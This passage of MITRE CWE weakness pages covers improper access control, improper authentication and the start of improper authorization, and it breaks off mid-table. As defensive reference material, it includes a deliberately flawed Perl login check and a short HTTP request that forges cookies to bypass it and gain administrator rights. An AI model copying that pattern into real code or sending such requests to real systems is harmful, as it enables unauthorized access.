The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
+ Extended Description

Access control involves the use of several protection mechanisms such as:

  • Authentication (proving the identity of an actor)
  • Authorization (ensuring that a given actor can access a resource), and
  • Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

  • Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
  • Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.
+ Alternate Terms
Authorization:
The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.664Improper Control of a Resource Through its Lifetime
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.693Protection Mechanism Failure
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.269Improper Privilege Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.282Improper Ownership Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.285Improper Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.286Incorrect User Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.287Improper Authentication
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.346Origin Validation Error
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.923Improper Restriction of Communication Channel to Intended Endpoints
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.942Overly Permissive Cross-domain Whitelist
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.285Improper Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.287Improper Authentication
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.264Permissions, Privileges, and Access Controls
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.269Improper Privilege Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.285Improper Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.286Incorrect User Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.287Improper Authentication
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.346Origin Validation Error
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.782Exposed IOCTL with Insufficient Access Control
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.923Improper Restriction of Communication Channel to Intended Endpoints
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.942Overly Permissive Cross-domain Whitelist
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Observed Examples
ReferenceDescription
Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

+ Affected Resources
  • File or Directory
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.264Permissions, Privileges, and Access Controls
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
+ Notes

Maintenance

This item needs more work. Possible sub-categories include:

  • * Trusted group includes undesired entities (partially covered by CWE-286)
  • * Group can perform undesired actions
  • * ACL parse error does not fail closed
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAccess Control List (ACL) errors
WASC2Insufficient Authorization
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated References, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-24CWE Content TeamMITRE
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Modes_of_Introduction, Observed_Examples, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Access Control Issues
2011-03-29Access Control (Authorization) Issues

CWE-287: Improper Authentication

Weakness ID: 287
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.
+ Alternate Terms
authentification:
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.
AuthC:
"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.284Improper Access Control
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.261Weak Cryptography for Passwords
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.262Not Using Password Aging
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.263Password Aging with Long Expiration
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.288Authentication Bypass Using an Alternate Path or Channel
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.289Authentication Bypass by Alternate Name
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.290Authentication Bypass by Spoofing
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.294Authentication Bypass by Capture-replay
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.301Reflection Attack in an Authentication Protocol
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.302Authentication Bypass by Assumed-Immutable Data
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.303Incorrect Implementation of Authentication Algorithm
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.305Authentication Bypass by Primary Weakness
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.307Improper Restriction of Excessive Authentication Attempts
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.308Use of Single-factor Authentication
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.309Use of Password System for Primary Authentication
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.384Session Fixation
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.521Weak Password Requirements
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.522Insufficiently Protected Credentials
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.603Use of Client-Side Authentication
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.620Unverified Password Change
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.640Weak Password Recovery Mechanism for Forgotten Password
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.645Overly Restrictive Account Lockout Mechanism
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.798Use of Hard-coded Credentials
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.804Guessable CAPTCHA
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.836Use of Password Hash Instead of Password for Authentication
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.613Insufficient Session Expiration
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.284Improper Access Control
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.306Missing Authentication for Critical Function
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.384Session Fixation
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.284Improper Access Control
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.288Authentication Bypass Using an Alternate Path or Channel
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.289Authentication Bypass by Alternate Name
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.290Authentication Bypass by Spoofing
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.294Authentication Bypass by Capture-replay
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.301Reflection Attack in an Authentication Protocol
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.302Authentication Bypass by Assumed-Immutable Data
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.303Incorrect Implementation of Authentication Algorithm
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.304Missing Critical Step in Authentication
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.305Authentication Bypass by Primary Weakness
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.306Missing Authentication for Critical Function
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.307Improper Restriction of Excessive Authentication Attempts
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.308Use of Single-factor Authentication
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.309Use of Password System for Primary Authentication
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.384Session Fixation
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.593Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.603Use of Client-Side Authentication
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.620Unverified Password Change
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.645Overly Restrictive Account Lockout Mechanism
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.804Guessable CAPTCHA
ParentOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.836Use of Password Hash Instead of Password for Authentication
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.613Insufficient Session Expiration
+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Read Application Data; Gain Privileges or Assume Identity; Execute Unauthorized Code or Commands

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code intends to ensure that the user is already logged in. If not, the code performs authentication with the user-provided username and password. If successful, it sets the loggedin and user cookies to "remember" that the user has already logged in. Finally, the code performs administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user cookie.

(bad code)
Example Language: Perl 
my $q = new CGI;

if ($q->cookie('loggedin') ne "true") {
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
ExitError("Error: you need to log in first");
}
else {
# Set loggedin and user cookies.
$q->cookie(
-name => 'loggedin',
-value => 'true'
);

$q->cookie(
-name => 'user',
-value => $q->param('username')
);
}
}

if ($q->cookie('user') eq "Administrator") {
DoAdministratorTasks();
}

Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

(attack code)
 
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true

[body of request]

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

Example 2

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 2 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <http://www.wired.com/threatlevel/2009/01/professed-twitt/>.
+ Observed Examples
ReferenceDescription
login script for guestbook allows bypassing authentication by setting a "login_ok" parameter to 1.
admin script allows authentication bypass by setting a cookie value to "LOGGEDIN".
VOIP product allows authentication bypass using 127.0.0.1 in the Host header.
product uses default "Allow" action, instead of default deny, leading to authentication bypass.
chain: redirect without exit (CWE-698) leads to resultant authentication bypass.
product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.
product does not properly implement a security-related configuration setting, allowing authentication bypass.
authentication routine returns "nil" instead of "false" in some situations, allowing authentication bypass using an invalid username.
authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.
use of LDAP authentication with anonymous binds causes empty password to result in successful authentication
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
+ Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction

Effectiveness: High

+ Functional Areas
  • Authentication
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.718OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.947SFP Secondary Cluster: Authentication Bypass
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
+ Notes

Relationship

This can be resultant from SQL injection vulnerabilities and other issues.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAuthentication Error
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
WASC1Insufficient Authentication
+ References
[REF-237] OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. <http://www.owasp.org/index.php/Top_10_2007-A7>.
[REF-238] OWASP. "Guide to Authentication". <http://www.owasp.org/index.php/Guide_to_Authentication>.
[REF-239] Microsoft. "Authentication". <http://msdn.microsoft.com/en-us/library/aa374735(VS.85).aspx>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 4, "Authentication" Page 109. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-01-12CWE Content TeamMITRE
updated Name
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, References
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Authentication Issues
2009-01-12Insufficient Authentication

CWE-285: Improper Authorization

Weakness ID: 285
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.
+ Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

+ Alternate Terms
AuthZ:
"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.284Improper Access Control
